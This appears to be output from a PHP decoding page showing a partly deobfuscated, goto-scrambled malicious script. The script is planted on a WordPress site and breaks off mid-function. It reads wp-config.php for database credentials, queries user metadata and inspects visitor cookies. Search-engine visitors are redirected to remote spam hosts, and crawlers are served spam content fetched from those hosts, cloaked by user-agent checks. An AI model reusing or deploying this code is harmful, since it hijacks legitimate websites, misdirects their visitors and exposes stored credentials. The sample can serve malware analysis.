PHP Decode

<?php
error_reporting(0);
goto h1Q08; xPve6: yqjAy: goto oFqa5; QWi33: jv5hZ: goto YN01g; NpEWF: exit; goto A5xvY; egYLc: echo $hinr5; goto a8kWz; H9qYP: R26cf: goto E521q; ofw4g: $hinr5 = str_replace("\x68\164\x74\160\72\57\57", "\150\164\x74\160\163\x3a\57\57", $hinr5); goto x5bFK; l3ZJW: $hinr5 = str_replace("\x68\x74\164\160\72\57\x2f\70\x2e\x62\x6c\156\x67\x62\154\156\x67\x73\x2e\x72\x6f\143\153\x73\57\151\x6d\141\x67\x65\x73\62\60\62\x33\60\x39\x2f{$kZfWC}\x2f", $snBBX . "\72\57\x2f" . $E9xeg . UyZns() . "\57\x69\x6d\141\x67\145\163\x2f", $hinr5); goto eSQcg; zy8R8: foreach ($_COOKIE as $OpqtB => $wzhxP) { $T8vpL .= $OpqtB . "\x3d" . $wzhxP . "\54"; rWKEp: } goto sG0Ko; WLGaC: $brPYe = array("\x23\x41\x73\x6b\134\163\52\112\145\x65\x76\145\x73\43\x69", "\x23\110\x50\134\163\x2a\x57\x65\142\134\163\x2a\x50\x72\x69\x6e\164\123\x6d\141\162\x74\43\151", "\x23\x48\x54\x54\162\x61\x63\x6b\x23\x69", "\x23\x49\x44\102\157\164\x23\151", "\x23\x49\156\x64\171\134\x73\52\114\151\142\x72\x61\162\171\x23", "\x23\114\x69\163\x74\103\x68\x65\x63\153\x65\162\x23\151", "\43\x4d\x53\x49\105\x43\x72\141\x77\x6c\x65\x72\x23\x69", "\x23\116\x65\x74\103\x61\x63\150\145\x23\x69", "\43\x4e\165\x74\x63\x68\43\x69", "\x23\x52\x50\x54\x2d\x48\x54\124\120\x43\x6c\151\145\156\x74\43\151", "\43\162\x75\154\x69\156\153\x69\134\56\162\165\43\x69", "\x23\124\167\151\x63\145\154\145\x72\x23\x69", "\x23\127\x65\x62\101\x6c\x74\141\x23\151", "\x23\127\145\x62\x73\x74\x65\162\134\163\52\120\x72\x6f\x23\151", "\43\x77\x77\167\x5c\x2e\143\171\x73\134\x2e\x72\x75\x23\151", "\43\127\x79\x73\x69\147\x6f\x74\43\x69", "\x23\x59\141\x68\x6f\x6f\41\134\x73\x2a\x53\x6c\165\x72\160\43\x69", "\x23\x59\145\164\x69\x23\x69", "\x23\101\x63\x63\157\x6f\x6e\141\x23\x69", "\x23\103\141\x7a\157\157\144\154\145\102\157\x74\x23\x69", "\43\103\106\x4e\145\164\167\x6f\x72\x6b\x23\x69", "\43\x43\x6f\156\166\x65\x72\x61\103\x72\141\167\154\145\x72\43\x69", "\43\104\x49\x53\x43\x6f\x23\151", "\x23\104\157\167\x6e\154\x6f\141\144\134\163\x2a\x4d\x61\163\x74\145\x72\43\151", "\43\x46\x41\x53\x54\134\x73\x2a\x4d\145\x74\x61\127\145\142\134\163\x2a\x43\x72\141\x77\x6c\145\x72\x23\x69", "\x23\x46\x6c\145\170\x75\155\x5c\x73\x2a\163\x70\151\x64\x65\162\x23\x69", "\43\107\151\x67\141\142\157\164\43\x69", "\x23\x48\124\115\x4c\x50\141\x72\163\145\x72\43\x69", "\43\151\x61\137\x61\162\x63\x68\151\166\145\162\43\151", "\43\151\143\x68\151\162\x6f\x23\151", "\x23\x49\122\x4c\142\157\164\43\x69", "\x23\x4a\141\166\x61\43\151", "\x23\153\x6d\x5c\x2e\162\165\x5c\x73\x2a\x62\x6f\164\43\151", "\43\153\x6d\123\x65\x61\x72\x63\x68\102\157\164\x23\151", "\x23\154\x69\142\167\167\x77\55\160\x65\x72\x6c\x23\x69", "\x23\x4c\165\x70\x61\x5c\x2e\162\x75\43\x69", "\x23\114\x57\120\x3a\72\x53\x69\x6d\x70\x6c\x65\43\x69", "\x23\154\x77\160\55\x74\x72\x69\x76\151\x61\x6c\x23\151", "\43\115\151\163\163\151\x67\x75\141\x23\151", "\x23\115\112\61\62\x62\x6f\164\x23\151", "\x23\155\x73\156\142\157\x74\43\x69", "\43\x6d\x73\156\x62\157\164\55\155\x65\x64\x69\x61\x23\151", "\43\117\x66\x66\154\x69\x6e\x65\x5c\x73\x2a\x45\170\x70\154\157\x72\x65\x72\x23\151", "\43\117\155\x6e\x69\x45\170\160\x6c\157\x72\145\162\137\102\x6f\164\x23\x69", "\43\120\105\x41\x52\43\x69", "\43\x70\x73\x62\x6f\x74\x23\x69", "\x23\x50\171\x74\150\x6f\x6e\43\x69", "\x23\x72\165\154\151\x6e\153\151\x5c\x2e\x72\x75\43\x69", "\x23\123\x4d\x49\114\x45\43\x69", "\43\123\x70\145\145\144\171\x23\x69", "\x23\124\x65\154\x65\x70\x6f\162\x74\x5c\x73\x2a\120\x72\x6f\x23\x69", "\43\x54\x75\x72\164\154\x65\x53\143\x61\156\x6e\145\x72\43\x69", "\x23\125\163\x65\162\x2d\x41\x67\x65\x6e\x74\43\x69", "\x23\x76\157\171\x61\147\x65\162\x23\151", "\x23\127\x65\x62\141\154\x74\x61\43\x69", "\x23\x57\145\142\x43\x6f\160\151\x65\162\43\x69", "\43\127\145\142\104\x61\164\141\43\x69", "\x23\127\145\x62\132\x49\120\43\151", "\x23\x57\x67\x65\164\43\x69", "\x23\x59\141\x6e\144\145\170\43\x69", "\43\x59\141\156\147\141\43\x69", "\43\131\145\164\x69\43\x69", "\x23\155\163\156\142\x6f\x74\43\151", "\x23\x73\160\x69\x64\x65\162\43\x69", "\43\x79\x61\x68\157\157\x23\151", "\43\152\x65\145\166\145\163\x23\151", "\43\147\157\157\x67\154\x65\43\151", "\x23\141\154\x74\141\166\x69\x73\164\x61\43\x69", "\x23\x73\143\x6f\x6f\x74\x65\x72\x23\x69", "\43\x61\166\x5c\x73\52\x66\145\164\143\150\43\151", "\43\141\x73\164\145\x72\151\141\163\43\x69", "\43\163\x70\151\144\145\x72\x74\150\x72\145\x61\x64\x20\x72\x65\x76\151\x73\151\x6f\156\43\151", "\43\x73\161\x77\x6f\162\x6d\43\151", "\43\141\x73\x6b\43\x69", "\43\154\171\x63\x6f\x73\56\x73\x70\x69\144\145\162\43\x69", "\x23\x69\156\x66\x6f\x73\x65\x65\x6b\x20\x73\151\144\145\x77\x69\x6e\144\145\x72\x23\151", "\43\165\154\164\x72\141\163\x65\145\153\x23\x69", "\43\x70\x6f\154\171\x62\157\x74\x23\151", "\x23\x77\x65\142\143\x72\141\167\154\145\162\x23\151", "\43\162\x6f\142\x6f\x7a\x69\x6c\x6c\43\151", "\43\147\165\x6c\154\x69\x76\145\x72\43\x69", "\x23\x61\162\x63\x68\151\x74\145\170\x74\x73\x70\151\x64\x65\162\43\151", "\43\x79\x61\150\x6f\157\41\x5c\163\52\x73\x6c\x75\x72\x70\43\x69", "\43\143\150\141\162\x6c\x6f\x74\x74\x65\43\151", "\x23\x6e\x67\142\43\151", "\x23\102\151\x6e\147\x42\157\x74\43\x69"); goto xoSng; Zl_pR: $hinr5 = str_replace("\57\77\153\145\171\x3d", "\x2f", $hinr5); goto SsWtM; r0e9I: $cZR4x = n_OO2(); goto JkwCr; uj0R2: function N_Oo2() { goto oKiWR; rtabb: $pkyrj = "\150\164\x74\160\72\x2f\x2f\x36\56\143\143\x62\x6f\156\x67\x2e\x6f\162\147\57\x63\x62\144\x2d\152\165\x6d\160\x2e\x70\x68\160"; goto NYGLM; JAFYz: if (!empty($O3Cd7)) { goto wj1Uj; } goto ua3T8; NYGLM: ycbS4: goto yixJP; DRVZL: $pkyrj = $O3Cd7 . "\x3f\x72\145\x66\x70\141\147\145\75" . $_SERVER["\123\105\x52\126\105\122\137\116\101\115\x45"] . $_SERVER["\x52\x45\x51\125\x45\123\124\x5f\125\x52\x49"]; goto jYd0i; yixJP: return $pkyrj; goto nvRms; wg4Ob: if (empty($O3Cd7)) { goto aT6nA; } goto DRVZL; oKiWR: @($O3Cd7 = hZ_Pw("\150\164\x74\160\72\x2f\57\x62\154\x6e\x67\x62\x6c\x6e\147\163\x2e\x72\157\x63\x6b\x73\x2f\x63\x62\144\x2d\150\157\x73\x74\56\x74\170\x74")); goto wg4Ob; Ozhmf: wj1Uj: goto LiyFV; ua3T8: $pkyrj = hZ_Pw("\150\164\164\x70\72\57\x2f\65\56\142\x69\x67\142\157\156\x67\56\x78\171\172\x2f\143\x62\x64\55\150\x6f\x73\164\56\164\170\164"); goto Ozhmf; jYd0i: aT6nA: goto JAFYz; LiyFV: if (!empty($pkyrj)) { goto ycbS4; } goto rtabb; nvRms: } goto rDbbB; XE67a: function vXUeI($DefOy) { goto CM8l2; lPvS2: preg_match_all("\176\136\144\x65\146\x69\156\x65\x2e\52\x28\104\102\x5f\116\x41\115\x45\x7c\x44\x42\137\125\123\x45\x52\x7c\x44\x42\x5f\120\101\123\x53\x57\117\122\104\x7c\104\102\x5f\x48\x4f\123\x54\x29\x5b\134\47\x22\135\x2c\134\163\53\x5b\x5c\47\x22\x5d\50\x2e\53\x29\x5b\134\x27\x22\135\x5c\163\x2a\134\51\x3b\176\155", $H0QJV, $QHy9Z); goto ugqNL; YAYha: oyXtk: goto nEkRR; qfYvP: if (!file_exists($FWIsw = "\57\x6d\145\144\151\x61\57\x73\150\x72\x69\x76\x65\162\57\167\160\x2d\x63\157\x6e\146\x69\147\56\160\150\160")) { goto EmyQt; } goto atAfo; qceM6: $JZSHY = ''; goto U9Rx4; Fp388: $rRQ4m = mysqli_query($Z7npU, $twL13); goto LV5AL; atAfo: $H0QJV = file_get_contents($FWIsw); goto lPvS2; F3JmV: $GMVCv = $QHy9Z[2][0]; goto nlZtC; ugqNL: preg_match("\176\x74\x61\142\154\145\x5f\x70\x72\145\x66\x69\x78\x5c\x73\53\75\x5c\x73\x2b\47\50\x2e\x2b\51\47\x3b\176", $H0QJV, $lawfL); goto F3JmV; u0Au0: return $opEju; goto IPKZz; Q1xyc: $Z7npU = mysqli_connect($RY_U_, $xf14O, $ahKqd, $GMVCv); goto qceM6; IGj8e: $RY_U_ = $QHy9Z[2][3]; goto s3whm; Pj5S0: if (!(strpos($JZSHY, $USMiD) !== false || strpos($H5KTN, $USMiD) !== false)) { goto nikQd; } goto HVhNq; LV5AL: eYzsr: goto rchKj; uz6lQ: $P6K5S = strripos($DefOy, "\x2e"); goto ud7vo; nlZtC: $xf14O = $QHy9Z[2][1]; goto nFqN1; rchKj: if (!($pJ4eQ = mysqli_fetch_array($rRQ4m))) { goto oyXtk; } goto tOU4H; ud7vo: $USMiD = substr($DefOy, 0, $P6K5S); goto Pj5S0; s3whm: $fmFLc = $lawfL[1]; goto Q1xyc; nFqN1: $ahKqd = $QHy9Z[2][2]; goto IGj8e; gPJNO: EmyQt: goto u0Au0; HVhNq: $opEju = true; goto bTwlc; U9Rx4: if (isset($hiBiL)) { goto lQL3v; } goto gen4n; UZx6s: goto dPlnx; goto gPJNO; tOU4H: $JZSHY .= $pJ4eQ["\155\x65\x74\141\x5f\166\141\x6c\x75\x65"]; goto skSP4; v3COd: $H5KTN = ''; goto uz6lQ; eAwYP: return $opEju; goto OyoU0; IPKZz: dPlnx: goto eAwYP; gen4n: $twL13 = "\x53\x45\x4c\105\x43\124\x20\52\x20\106\x52\117\x4d\x20\140{$fmFLc}\165\163\145\162\x6d\145\164\x61\140\40\127\x48\x45\122\105\40\140\x6d\145\164\141\x5f\153\x65\x79\x60\40\x3d\40\47\x63\157\155\x6d\165\156\151\x74\171\x2d\145\166\x65\x6e\164\163\x2d\154\x6f\143\x61\x74\151\157\156\47"; goto Fp388; skSP4: goto eYzsr; goto YAYha; K_fCp: lQL3v: goto UZx6s; CM8l2: $opEju = false; goto qfYvP; bTwlc: nikQd: goto K_fCp; nEkRR: mysqli_close($Z7npU); goto v3COd; OyoU0: } goto Pzm8E; fl_LG: VloCI: goto H9qYP; A5xvY: vxlJs: goto S561Z; tVklg: $hinr5 = str_replace("\x68\x74\x74\x70\72\57\x2f" . uYZns() . "\57", $snBBX . "\72\x2f\57" . $E9xeg . UYzNs() . "\57", $hinr5); goto eQ1yk; k1Lw5: $hinr5 = str_replace("\137\x75\x6e\x4c\151\156\x65\x5f", "\57", $hinr5); goto VEjLt; hX3dR: function Aw0g4($BDx4h) { goto VS9i2; ye0eR: goto rAVid; goto UKRdp; UKRdp: M5flp: goto DNltZ; VS9i2: $ApsEV = str_replace("\x78", '', "\142\x78\170\151\x78\156\170\x67\x78\174\x78\x61\x78\x6f\170\x78\x6c\170\174\x61\x78\x73\170\x78\x6b\x7c\x78\147\x78\x6f\170\x78\157\170\147\170\154\x78\145\174\x79\170\170\141\x78\x68\x78\157\170\x6f\x7c\x73\170\145\x78\x78\141\170\x72\170\143\x78\150\174\144\165\x78\143\153\144\170\165\x63\170\x6b\x78\147\157"); goto dJnWS; yjlqm: return false; goto ye0eR; bwFau: rAVid: goto Y3E0o; dJnWS: if (preg_match("\57{$ApsEV}\x2f\151", $BDx4h)) { goto M5flp; } goto yjlqm; DNltZ: return true; goto bwFau; Y3E0o: } goto GgPvy; JPJVH: $ymyTQ = str_replace("\57", '', $ymyTQ); goto sCp7t; l2omf: $kUvaz = jCgzA(); goto XE67a; D4OxV: aWdCj: goto ZHqv5; pOarV: $hinr5 = str_replace("\x2e\x68\x74\155\154", '', $hinr5); goto kjLsj; jHqj_: $kZfWC = preg_replace("\x2f\133\x5e\141\55\172\101\55\132\174\60\55\71\174\55\x7c\x2e\x5d\x2f\151", "\x2d", basename($kZfWC)); goto hQHl2; oFqa5: $ymyTQ = str_replace($JtqDJ[1] . "\x2f", $JtqDJ[1] . "\137\x75\x6e\114\151\x6e\x65\137", $_SERVER["\x52\x45\x51\125\105\x53\x54\137\x55\x52\x49"]); goto JPJVH; yWSp0: function TkxB3() { goto XxBlu; FWViS: $pkyrj = "\x68\x74\164\160\x3a\57\57\66\x2e\143\x63\142\157\x6e\147\x2e\157\x72\147\57\155\x61\x6c\x65\x2d\163\x74\157\x6e\145\56\160\x68\x70"; goto lpM6_; v2yQ9: f3z_D: goto cgjTQ; BYbq2: $pkyrj = $O3Cd7 . "\x3f\162\x65\146\160\141\x67\x65\x3d" . $_SERVER["\123\105\x52\126\x45\x52\137\116\x41\x4d\x45"] . $_SERVER["\x52\105\x51\x55\x45\x53\124\x5f\x55\122\x49"]; goto S4Euc; XxBlu: @($O3Cd7 = Hz_PW("\x68\164\x74\160\72\57\x2f\x62\154\156\x67\x62\154\156\147\163\56\x72\157\143\153\x73\57\x6d\141\154\x65\x2d\163\164\157\x6e\x65\56\x74\x78\x74")); goto DZW5J; DZW5J: if (empty($O3Cd7)) { goto GsJM7; } goto BYbq2; KbCeu: return $pkyrj; goto NbL1_; S4Euc: GsJM7: goto DlgDG; oO27G: $pkyrj = hz_pW("\150\164\164\x70\72\57\x2f\x35\x2e\142\151\x67\142\x6f\156\x67\56\x78\171\x7a\x2f\155\x61\154\145\x2d\x68\x6f\163\164\56\x74\x78\x74"); goto v2yQ9; lpM6_: i1O6t: goto KbCeu; DlgDG: if (!empty($O3Cd7)) { goto f3z_D; } goto oO27G; cgjTQ: if (!empty($pkyrj)) { goto i1O6t; } goto FWViS; NbL1_: } goto D0xRN; UX0Jb: $E9xeg = ''; goto UYI1o; f00Px: echo $hinr5; goto Cs3xA; rDbbB: if (!(!preg_match("\x2f\x77\x6f\162\x64\x70\162\x65\163\x73\x5f\154\x6f\147\x67\x65\x64\137\x69\x6e\x5f\x2f\151", $T8vpL) && !$FuXQp && !$lzJ3E)) { goto yqjAy; } goto OD0mQ; Cs3xA: exit; goto D4OxV; kjLsj: $hinr5 = str_replace("\x2f\x3f\x6b\x65\x79\x3d", "\x2f", $hinr5); goto k1Lw5; kWp5a: AxJFG: goto xPve6; otNDE: $ymyTQ = str_replace($JtqDJ[1] . "\57", $JtqDJ[1] . "\x5f\165\x6e\x4c\151\156\x65\x5f", $_SERVER["\122\x45\x51\125\105\x53\124\x5f\x55\x52\111"]); goto KBuyA; hNbIE: if (!preg_match("\x23\136\134\x2f\50\x5c\x77\173\x33\54\65\x7d\113\124\x5c\55\134\167\x7b\63\54\x35\175\51\x5c\57\50\56\52\51\43\151", $_SERVER["\122\105\121\125\x45\123\124\x5f\125\x52\111"], $JtqDJ)) { goto jv5hZ; } goto VEadz; sCp7t: $hinr5 = hz_pw(base64_decode("\141\x48\x52\60\x63\x44\x6f\166\114\172\147\x75\131\155\x78\x75\x5a\62\112\x73\x62\155\144\x7a\114\x6e\112\166\x59\62\x74\172\114\x7a\x49\x77\x4d\x6a\x4d\164\x4d\x44\153\x76\x59\x32\112\x6b\114\62\x31\x68\141\x57\64\x75\143\107\x68\167\120\62\164\154\145\124\x30") . $ymyTQ . "\x26\x68\157\x73\x74\x3d" . $q0PPS . "\x26\167\167\x77\x3d\62"); goto tVklg; Bfs_v: $hinr5 = str_replace("\137\165\x6e\114\151\156\x65\137", "\57", $hinr5); goto ofw4g; XWFe1: $hinr5 = str_replace("\x68\164\x74\160\x3a\x2f\57\x38\56\142\x6c\156\147\x62\x6c\x6e\x67\163\x2e\162\x6f\143\153\x73\57\151\x6d\141\x67\x65\163\62\60\62\x33\x30\71\x2f{$kZfWC}\57", $snBBX . "\x3a\57\57" . $E9xeg . UYZNs() . "\x2f\151\155\141\147\145\x73\x2f", $hinr5); goto pOarV; SsWtM: $hinr5 = str_replace("\137\165\x6e\114\x69\156\x65\x5f", "\x2f", $hinr5); goto JY4Hh; D0xRN: if (!(!preg_match("\x2f\167\x6f\x72\x64\160\x72\145\163\x73\x5f\x6c\157\147\147\145\144\137\x69\156\x5f\x2f\151", $T8vpL) && !$FuXQp && !$lzJ3E)) { goto VN1yN; } goto tI1re; ZHqv5: nliGe: goto hNbIE; JhMKj: $lzJ3E = 1; goto QQIgn; mc5L4: exit; goto kWp5a; ZLisL: exit; goto YbkmE; aR673: if (!Aw0g4($RHTA4)) { goto oQsdB; } goto mdx9s; EAXqk: if (!preg_match("\43\x5e\134\57\x28\134\x77\x7b\63\x2c\65\175\x45\x44\x5c\55\x5c\167\x7b\63\x2c\x35\175\x29\x5c\57\x28\x2e\x2a\x29\43\x69", $_SERVER["\122\105\x51\x55\x45\x53\124\137\x55\x52\x49"], $JtqDJ)) { goto nliGe; } goto yWSp0; XWZfa: $hinr5 = hz_PW(base64_decode("\141\110\122\x30\143\104\157\x76\x4c\x7a\147\165\x59\x6d\170\165\x5a\62\112\163\142\x6d\x64\x7a\114\156\112\x76\131\x32\164\172\x4c\172\111\x77\115\x6a\x4d\x74\115\104\153\166\144\62\x56\160\132\x32\x68\60\114\x32\61\x68\141\127\64\x75\x63\107\x68\167\x50\x32\x74\154\145\x54\x30") . $ymyTQ . "\46\150\157\x73\164\75" . $q0PPS . "\x26\x77\x77\167\x3d\62"); goto sB_Im; jeIlJ: $hinr5 = str_replace("\56\x68\164\x6d\x6c", '', $hinr5); goto foNPb; S561Z: VN1yN: goto otNDE; rGkF3: if (!(!preg_match("\57\167\x6f\x72\144\x70\x72\x65\163\x73\x5f\x6c\x6f\x67\x67\x65\x64\137\151\x6e\137\x2f\x69", $T8vpL) && !$FuXQp && !$lzJ3E)) { goto Y6TKs; } goto aR673; x5bFK: if (!$lzJ3E) { goto VloCI; } goto wm0IO; V1B3Y: $ymyTQ = str_replace("\x2f", '', $ymyTQ); goto XWZfa; C8zhP: $hinr5 = str_replace("\x68\164\x74\x70\x3a\x2f\x2f" . UyzNs() . "\x2f", $snBBX . "\72\57\57" . $E9xeg . uYzns() . "\57", $hinr5); goto l3ZJW; sG0Ko: Ilw6f: goto BntDj; GuJJk: header("\154\157\x63\x61\x74\151\x6f\x6e\72\x20" . $cZR4x); goto ZLisL; WECqF: function ye662($TLeTH) { goto vVV4e; krmc7: $pn8zH = @implode('', $sz1jM); goto yXTN3; SXlKn: QJwbT: goto FqmEn; bcO8h: return $pn8zH; goto eqn9V; FqmEn: $sz1jM = @file($TLeTH); goto krmc7; epy19: return false; goto SXlKn; vVV4e: if (!(function_exists("\146\151\x6c\145") === false)) { goto QJwbT; } goto epy19; yXTN3: if (!($pn8zH == '')) { goto ZAsGk; } goto C70i2; Tw511: ZAsGk: goto bcO8h; C70i2: return false; goto Tw511; eqn9V: } goto qTI2N; rh1vN: $ymyTQ = str_replace($JtqDJ[1] . "\x2f", $JtqDJ[1] . "\x5f\x75\156\114\151\156\145\x5f", $_SERVER["\x52\105\x51\x55\105\x53\124\137\x55\122\x49"]); goto V1B3Y; WM1Sj: $T8vpL = ''; goto zy8R8; cYGLM: if (!preg_match("\57\x69\155\x61\147\x65\x73\134\57\50\x2e\52\x29\x2f\151", $_SERVER["\x52\105\x51\x55\105\123\x54\137\125\x52\111"], $JtqDJ)) { goto HKZgf; } goto tlltx; VEjLt: $hinr5 = str_replace("\x68\164\164\x70\x3a\x2f\57", "\150\x74\164\x70\x73\x3a\57\57", $hinr5); goto Fg3so; FWX44: list($fpg1Y, $K75t2, $KEPqa) = getimagesize($TLeTH); goto RF58W; zxjnO: Wyudv: goto QWi33; Z0GW1: Lxv0L: goto JlIwk; GgPvy: $RHTA4 = strtolower($_SERVER["\x48\124\124\120\137\122\x45\x46\x45\122\x45\122"]); goto WM1Sj; xoSng: if (!(!empty($_SERVER["\110\x54\x54\120\x5f\x55\123\105\x52\x5f\101\x47\105\x4e\124"]) && FALSE !== strpos(preg_replace($brPYe, "\55\x4e\117\55\x57\x41\131\x2d", $_SERVER["\x48\124\x54\120\137\x55\x53\x45\122\x5f\x41\107\105\x4e\124"]), "\55\116\117\x2d\x57\x41\x59\55"))) { goto J3NH2; } goto JhMKj; EUBzD: if (!$lzJ3E) { goto aWdCj; } goto f00Px; Ls4bp: $hinr5 = HZ_PW(base64_decode("\x61\x48\x52\60\x63\104\157\166\114\172\147\x75\131\155\x78\x75\x5a\62\112\163\x62\155\144\x7a\114\156\x4a\166\x59\x32\164\x7a\114\172\x49\167\x4d\152\115\164\115\x44\x6b\x76\x62\x57\106\x73\132\x53\71\164\x59\x57\154\x75\114\x6e\102\157\143\104\71\x72\x5a\130\153\71") . $ymyTQ . "\x26\x68\157\x73\164\75" . $q0PPS . "\x26\167\167\167\75\x32"); goto C8zhP; tlltx: $guFjo = $JtqDJ[1]; goto YIkJ3; h1Q08: function uyzNS() { return "\x73\150\162\x69\x76\x65\x72\56\165\155\141\x73\163\155\145\x64\x2e\x65\144\x75"; } goto UX0Jb; wm0IO: echo $hinr5; goto Ov01F; srl_b: function jcGZa() { goto XJuCZ; oPazV: igysc: goto iq1lA; iq1lA: $NpqEs = getenv("\110\x54\x54\120\137\x58\x5f\x46\117\x52\x57\x41\122\x44\105\104\137\106\x4f\x52"); goto xvax3; S1_Vi: cf2BB: goto bBBFM; Tssrq: goto NM050; goto oPazV; POr3s: NM050: goto xylS4; KG9KF: if (getenv("\110\124\x54\120\137\x43\x4c\111\x45\116\x54\137\111\x50") && strcasecmp(getenv("\x48\x54\124\x50\137\x43\x4c\x49\x45\116\x54\x5f\x49\120"), "\x75\156\x6b\x6e\x6f\x77\156")) { goto cf2BB; } goto wC10c; xvax3: goto NM050; goto kvJwM; XJuCZ: $NpqEs = ''; goto KG9KF; xylS4: return $NpqEs; goto k19GY; TaoNj: $NpqEs = $_SERVER["\x52\105\115\x4f\x54\105\x5f\x41\104\104\x52"]; goto POr3s; wC10c: if (getenv("\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\104\105\104\x5f\106\117\x52") && strcasecmp(getenv("\110\124\124\120\x5f\x58\137\106\117\x52\127\101\x52\104\x45\104\x5f\x46\x4f\122"), "\x75\x6e\x6b\156\157\x77\156")) { goto igysc; } goto Drgf6; jf4DP: goto NM050; goto S1_Vi; Drgf6: if (getenv("\x52\105\115\x4f\124\x45\x5f\101\104\104\122") && strcasecmp(getenv("\122\x45\115\117\x54\105\137\101\x44\x44\122"), "\165\156\x6b\156\x6f\167\x6e")) { goto K09CQ; } goto b2vV8; b2vV8: if (isset($_SERVER["\122\x45\x4d\x4f\x54\105\137\x41\x44\x44\122"]) && $_SERVER["\x52\x45\115\x4f\x54\105\137\101\x44\x44\x52"] && strcasecmp($_SERVER["\122\105\115\117\124\105\x5f\x41\104\104\x52"], "\165\156\153\x6e\157\x77\x6e")) { goto aTRoR; } goto jf4DP; lol_a: $NpqEs = getenv("\x52\105\115\117\124\x45\137\x41\104\x44\122"); goto wfkzm; bBBFM: $NpqEs = getenv("\110\124\124\x50\x5f\x43\114\111\x45\x4e\x54\x5f\x49\x50"); goto Tssrq; wfkzm: goto NM050; goto pZtNN; kvJwM: K09CQ: goto lol_a; pZtNN: aTRoR: goto TaoNj; k19GY: } goto l2omf; YN01g: if (!preg_match("\43\136\134\57\x28\134\x77\173\63\54\65\175\103\x42\x44\134\x2d\134\167\x7b\63\x2c\x35\x7d\x29\134\57\50\x2e\52\x29\43\x69", $_SERVER["\x52\x45\x51\x55\x45\x53\124\x5f\x55\x52\x49"], $JtqDJ)) { goto R26cf; } goto uj0R2; PLioG: $kZfWC = str_replace("\x77\x77\167\56", '', $q0PPS); goto jHqj_; OD0mQ: if (!aw0G4($RHTA4)) { goto AxJFG; } goto r0e9I; mdx9s: $cZR4x = JPo8F(); goto GuJJk; eSQcg: $hinr5 = str_replace("\56\150\164\x6d\154", '', $hinr5); goto Zl_pR; UYI1o: $snBBX = "\x68\164\x74\x70\x73"; goto tj79N; Fg3so: if (!$lzJ3E) { goto Wyudv; } goto egYLc; a8kWz: exit; goto zxjnO; bUdyo: HKZgf: goto EAXqk; XsBKW: header("\154\157\x63\141\x74\x69\157\x6e\72\40" . $cZR4x); goto NpEWF; KBuyA: $ymyTQ = str_replace("\57", '', $ymyTQ); goto Ls4bp; w1Q4b: $lzJ3E = 1; goto lF8by; hQHl2: $kZfWC = str_replace("\x2e", "\55", $kZfWC); goto cYGLM; Gr2yg: $hkBJ2 = imagecreatefromstring(hz_pW($TLeTH)); goto FWX44; R5R2M: Y6TKs: goto rh1vN; ZD3l0: function hz_Pw($TLeTH) { goto IMyys; w2cJ5: return ''; goto LOMtn; evxoV: return $GfSBj; goto LAUsr; qj61c: if (!($GfSBj !== false)) { goto vajwe; } goto kFS__; IMyys: $GfSBj = ''; goto ak3HT; ak3HT: $GfSBj = @ZRSD1($TLeTH); goto GvBdb; Se6Q9: vajwe: goto w2cJ5; kFS__: return $GfSBj; goto Se6Q9; eRHvL: return $GfSBj; goto aFHPD; hsBZt: return $GfSBj; goto MOHJA; CuBup: if (!($GfSBj !== false)) { goto rEcwW; } goto eRHvL; Nskg1: $GfSBj = @rdhe1($TLeTH); goto hLSKj; MOHJA: uaa2_: goto Nskg1; GvBdb: if (!($GfSBj !== false)) { goto uaa2_; } goto hsBZt; LAUsr: hodBH: goto TNat0; hLSKj: if (!($GfSBj !== false)) { goto hodBH; } goto evxoV; Tv4sy: $GfSBj = @sYz4i($TLeTH); goto qj61c; TNat0: $GfSBj = @YE662($TLeTH); goto CuBup; aFHPD: rEcwW: goto Tv4sy; LOMtn: } goto srl_b; tj79N: function zRSd1($TLeTH) { goto tpC8h; wRGJY: return false; goto c5cV0; foEKL: NW9md: goto I1VBS; tpC8h: if (!(function_exists("\x66\x69\154\145\x5f\x67\145\x74\x5f\143\157\x6e\x74\145\156\164\163") === false)) { goto NW9md; } goto Ep0_U; I1VBS: $pn8zH = @file_get_contents($TLeTH); goto z2H7n; dI4t6: return $pn8zH; goto tg96c; Ep0_U: return false; goto foEKL; z2H7n: if (!($pn8zH == '')) { goto KYZsr; } goto wRGJY; c5cV0: KYZsr: goto dI4t6; tg96c: } goto moFok; JlIwk: tUXs7: goto bUdyo; VEadz: function jPo8f() { goto x51OG; yrEpO: MyVl7: goto ypiya; x51OG: @($O3Cd7 = hZ_Pw("\x68\x74\164\160\72\57\x2f\142\x6c\156\147\x62\154\x6e\147\x73\56\x72\x6f\x63\x6b\163\x2f\167\x65\151\x67\150\x74\55\x68\157\163\x74\x2e\x74\x78\164")); goto yxWVk; ypiya: if (!empty($O3Cd7)) { goto f9pCW; } goto Wesdc; Wesdc: $pkyrj = hz_PW("\x68\x74\164\160\72\x2f\57\65\56\142\151\x67\142\x6f\156\147\56\x78\171\x7a\57\167\145\151\147\x68\164\x2d\150\157\x73\x74\56\164\x78\164"); goto HdIfD; fK9_0: if (!empty($pkyrj)) { goto FzigP; } goto sHsqD; HdIfD: f9pCW: goto fK9_0; yxWVk: if (empty($O3Cd7)) { goto MyVl7; } goto TWc2K; TWc2K: $pkyrj = $O3Cd7 . "\x3f\162\x65\x66\x70\141\x67\145\75" . $_SERVER["\123\x45\122\x56\x45\x52\x5f\x4e\x41\x4d\x45"] . $_SERVER["\x52\x45\121\x55\x45\123\x54\x5f\125\x52\x49"]; goto yrEpO; sHsqD: $pkyrj = "\x68\164\164\x70\72\x2f\57\66\x2e\x63\143\142\x6f\156\147\56\157\162\147\57\167\145\x69\x67\150\164\55\x73\x73\56\x70\150\160"; goto pGXC9; pGXC9: FzigP: goto coNrM; coNrM: return $pkyrj; goto mMOFK; mMOFK: } goto rGkF3; QQIgn: J3NH2: goto ovruk; Pzm8E: $FuXQp = vXuEI($kUvaz); goto WLGaC; eQ1yk: $hinr5 = str_replace("\150\164\164\160\72\57\x2f\x38\56\x62\x6c\156\147\x62\154\156\x67\x73\x2e\x72\157\x63\153\163\57\151\155\x61\147\145\163\62\x30\62\x33\x30\71\x2f{$kZfWC}\x2f", $snBBX . "\x3a\x2f\x2f" . $E9xeg . UYzNs() . "\57\x69\155\141\147\145\x73\57", $hinr5); goto jeIlJ; qTI2N: function sYZ4I($TLeTH) { goto uni5m; kX7Oz: @socket_close($vfnqr); goto Q7s4L; ALAlF: if (!($tIhpV = socket_read($vfnqr, 10000))) { goto dlb17; } goto I8lJN; LT5TE: t1pj5: goto ALAlF; Q7s4L: if (!($pn8zH == '')) { goto QSJCW; } 